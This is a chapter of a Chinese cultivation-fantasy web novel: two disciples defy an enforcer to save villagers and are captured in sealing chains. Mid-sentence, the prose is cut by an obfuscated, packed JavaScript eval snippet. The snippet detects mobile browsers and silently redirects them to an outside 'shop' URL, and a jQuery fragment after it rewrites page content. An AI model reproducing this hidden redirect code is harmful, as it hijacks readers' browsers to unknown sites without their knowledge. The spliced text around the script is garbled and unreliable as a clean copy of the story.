凌炎话音落下,刹那间,村心陷入死寂。
晨光洒向青色防护光罩,折射出细碎光斑,映在刚从巷子里撤回沾着血和泪的弟子脸上,映在从屋舍中探头布满恐惧的村民眼中,映在握着法器微微颤抖的执法弟子手背。
看着凌炎,陆铮蜡黄脸皮抽搐一下,他笑了,笑声嘶哑干涩:“好……好一个守村护民。”
陆铮缓缓弯腰,捡起地上脱手的黑剑,沾了些许泥土,暗红光泽显得污浊不堪,他便用手掌抹去泥土,动作慢中挟着仔细,仿佛擦拭什么珍贵宝物。
“凌炎、叶听竹。”陆铮抬起头,目光扫过并肩而立的两人,“你们可知,刚才那番话,已犯下三条宗门死罪?”
凌炎未答话,侧身一步,挡在了叶听竹前面,这个动作微小,难掩明确。
这一切陆铮看在眼里,嘴角弧度更深了,“其一,公然违抗仙门盟令,此罪当诛;其二,煽动同门抗命,此罪当废;其三。”他顿了顿:“叛门。”
最后两字,着重强调,周围几名执法弟子下意识后退了半步,他们看向凌炎和叶听竹的眼神里,多了一丝惊惧疏离。
“陆师兄。”凌炎开口,声音平稳:“我只知道,仙者护生非杀生,若护生即是叛门,那这门,叛了也罢。”
“好气魄。”陆铮点头,手中黑剑缓缓抬起,“那就别怪我不念同门之谊了。”
他厉喝道:“所有弟子听令!”声音灌注灵力,震得防护光罩嗡嗡作响。
“凌炎、叶听竹二人,已犯叛门重罪!现命尔等合力擒拿!若有反抗,格杀勿论!”
命令下达瞬间,空气凝固了,甲乙组刚撤回的弟子僵直原地,面面相觑,有人下意识握紧法器,有人松开了手,有人低下头,有人看向别处。
只有五名执法弟子,他们本就是陆铮亲信,此刻毫不犹豫地散开,呈半圆形围了上来。
法器出鞘的寒光,刺得人眼睛生疼,凌炎背对着叶听竹,低声说:“待会儿打起来,你护着村民先撤,东边三里外有片密林,进了林子,他们不好追。”
“那你呢?”
“我断后。”
“你一个人,挡不住他们五个执法弟子和陆铮。”
“挡不住也要挡。”凌炎的声音里透着决绝:“我已经错了一次,不能再错第二次。”
叶听竹沉默片刻,她从怀中掏出了两叠符纸,一叠青色,一叠金色。
“凌师兄。”她轻声说:“我们一起挡。”
话音未落,陆铮动了,剑尖一转,划出一道诡异弧线,直取光罩最薄弱一角,那里正是叶听竹刚才布阵时,因地脉波动留下的一处细微裂痕!
陆铮竟然看出来了!
叶听竹瞳孔一缩,左手五指疾点,三张青色符纸飞射而出,于裂痕前炸开,化作三道藤蔓交织成网,堪堪挡住了这一剑。
陆铮要的就是这个空隙,他厉喝:“破阵!”。
五名执法弟子同时出手!五道颜色各异的法术光芒轰向光罩不同位置,以五行相克之法,试图从内部瓦解叶听竹阵法的平衡!
叶听竹闷哼一声,脸色瞬间苍白,她单手维持阵法已是不易,此刻,又要应对五处同时袭来的攻击,灵力顿时捉襟见肘,头顶光罩剧烈震颤,青光明灭不定。
“叶师妹!”凌炎重剑出鞘,赤红剑气横扫而出,硬生生拦下三道法术,“稳住阵眼!我来应付他们!”他冲入战团,重剑大开大阖,以一敌五,暂时逼退五名执法弟子。
此刻,陆铮未加入围攻,他退后几步冷冷看着,似乎等待什么。
叶听竹咬破舌尖,一滴精血点在掌心,融入阵法,光罩重新稳固,她知道这也只是权宜之计,精血催阵,消耗本源,撑不了多久。如今必须做出选择,是守阵是等死,还是……思虑间,她匆匆看了一眼身后。
土地庙旁,几十个村民瑟缩一起,老人抱着孩子,妇人捂着嘴,男人挡在前面,手里拿着锄头柴刀,这些凡铁于修仙者眼中和玩具无异,可他们还是拿起来了,瞳孔里灌注恐惧,更多的是近乎绝望的勇气。
叶听竹深吸一口气:“凌师兄。”她开口说道:“帮我拖住十息。”
“什么?”
“十息就好。”
凌炎没多问,重剑剑势陡然一变,从大开大阖转为密不透风的守势,硬生生将五名执法弟子全部圈于自己剑围之内!
就是此刻!叶听竹双手合十,十指翻飞出蝶,残影重重,她怀中剩余符纸全部飞出,化作漫天流光,钻入地面!
下一瞬,以叶听竹脚下为中心,无数细嫩青竹破土而出!她用灵力凝成虚影,竹影疯长,瞬息间便长到一人多高,密密麻麻,将整个村心变成了竹海!
“障眼法?”陆铮皱眉,黑剑一挥,斩断一片竹影。
竹影被斩断后并不消散,反而化作更多更细的竹叶,纷纷扬扬,遮蔽视线,混淆感知,更有藤蔓从地底钻出,缠住执法弟子脚踝。
“她在布迷阵!”一名执法弟子惊呼:“小心脚下!”
混乱中,叶听竹声音清晰传来:“所有村民往东跑!进林子!不要回头!”
村民们愣住了。
“快跑!”叶听竹厉喝,声音里第一次带上了急迫:“我撑不了太久!”
一个老汉最先反应过来,他一把抱起身边孩子,嘶声大喊:“跑!听仙师的话!快跑啊!”
人群动了,几十个村民,老弱妇孺互相搀扶,男人断后,跌跌撞撞朝着东边跑去,竹海自动分开一条通道,让他们通过。
“想跑?!”陆铮眼中杀机毕露,黑剑化作一道暗红流光,直刺通道!
叶听竹身形一闪,挡在通道前,她抬起右手,五指张开,掌心对准了那柄黑剑握拳。
“咔——!”
清脆碎裂声,距离叶听竹掌心三寸处,黑剑停住了,剑身出现无数细密裂纹,从剑尖绵密蔓延,转眼遍布整柄剑身。
“你……!”陆铮瞳孔骤缩。
“陆师兄。”叶听竹松开手,掌心躺着一枚金色碎片,这是一张碎金符核心符胆,刚才被她徒手捏碎,以自身灵力为引,引发了符胆中蕴藏的破金之力。
“你的剑,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347777|199558||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
材质是玄铁掺了赤铜,属金火。”她看着陆铮,声音平静:“金火最怕癸水破金符。”
话音未落,黑剑彻底崩碎!碎片点点滴滴落下,陆铮手中只剩一把光秃秃剑柄,他盯紧叶听竹,脸上表情从震惊转为狰狞,“你竟敢……敢毁我法器!”
“毁法器,总比杀人好。”叶听竹说。
此时,大部分村民已逃进东边密林,竹海开始消退,叶听竹灵力快耗尽了。
凌炎那边,一人独斗五名执法弟子,已到极限,他肩头中了一剑,鲜血染红半边衣袍,剑势也开始凌乱。
“够了。”陆铮扔掉剑柄,从怀中掏出了一样东西,一副黑色铁链,链环细密,每一环上都刻着细小符文,晨光中泛着幽暗光泽。
“封灵链……”凌炎脸色一变,“陆铮!你要干什么?!”
“干什么?”陆铮冷笑,“叶听竹违抗门令、毁我法器、放走资源,罪加三等,按门规,当以封灵链锁拿,押回执法堂,废去修为,打入水牢,永世不得超生!”他抬手一抛,铁链化作活蛇飞出,直取叶听竹!
叶听竹想躲,此刻,她灵力已近乎枯竭,脚步虚浮,慢了半拍,铁链瞬间缠上她的手腕。
冰冷触感瞬间传遍全身,她感觉到灵力飞快退却,丹田气海被一股无形力量封锁,经脉中灵力流动戛然而止,不由双腿一软,险些跪倒。
“叶师妹!”凌炎目眦欲裂,重剑逼退一名执法弟子,想冲过来。
陆铮更快,他又掏出了一副封灵链,抛向凌炎!
凌炎挥剑去挡,铁链化作灵蛇绕过剑锋,缠上他的脚踝,只得闷哼一声,单膝跪地,重剑脱手。
战斗结束了,竹海彻底消散,晨光重新照亮村心,照着满地狼藉,照着跪倒在地的两人,照着远处密林边缘驻足回望且模糊的人影。
陆铮走到叶听竹面前,俯视着她,“叶听竹,你如今还有什么话说?”
叶听竹抬起头看向他,脸色苍白,额角有汗,鬓发散乱,手腕上铁链沉甸甸的,压得几乎抬不起手,她笑了,笑得微弱,仿佛清晨竹叶上的露水,一碰便会破碎。
“陆师兄。”叶听竹轻声说:“你说仙门是掠食者,弱肉强食是天道,可你忘了。”她顿了顿,一字一句道:“竹子很弱,风一吹就弯,雪一压就倒。”
“你看那竹林,千年万年,生生不息。”
“不是因为它们够强。”
“是因为它们的根,扎得够深。”
陆铮盯着她,许久,冷哼一声:“带走。”
两名执法弟子上前,架起叶听竹,另一人扶起凌炎,或者说是羁押,他们走向村外,走向来时的那条路。
叶听竹最后回头看了一眼,晨光中黑石村静默着,土地庙轮廓渐渐模糊,井口三块黑石泛着微光,东边密林里隐约传来孩子哭声,很快又被捂住。
她转回头看向前方,路还很长,铁链很沉,但她的腰挺得笔直,就是一株竹,即便被雪压弯了腰,根还在土里。
晨风吹过,带走最后一缕铁锈味,天彻底亮了,高空隐现白玉仙阙。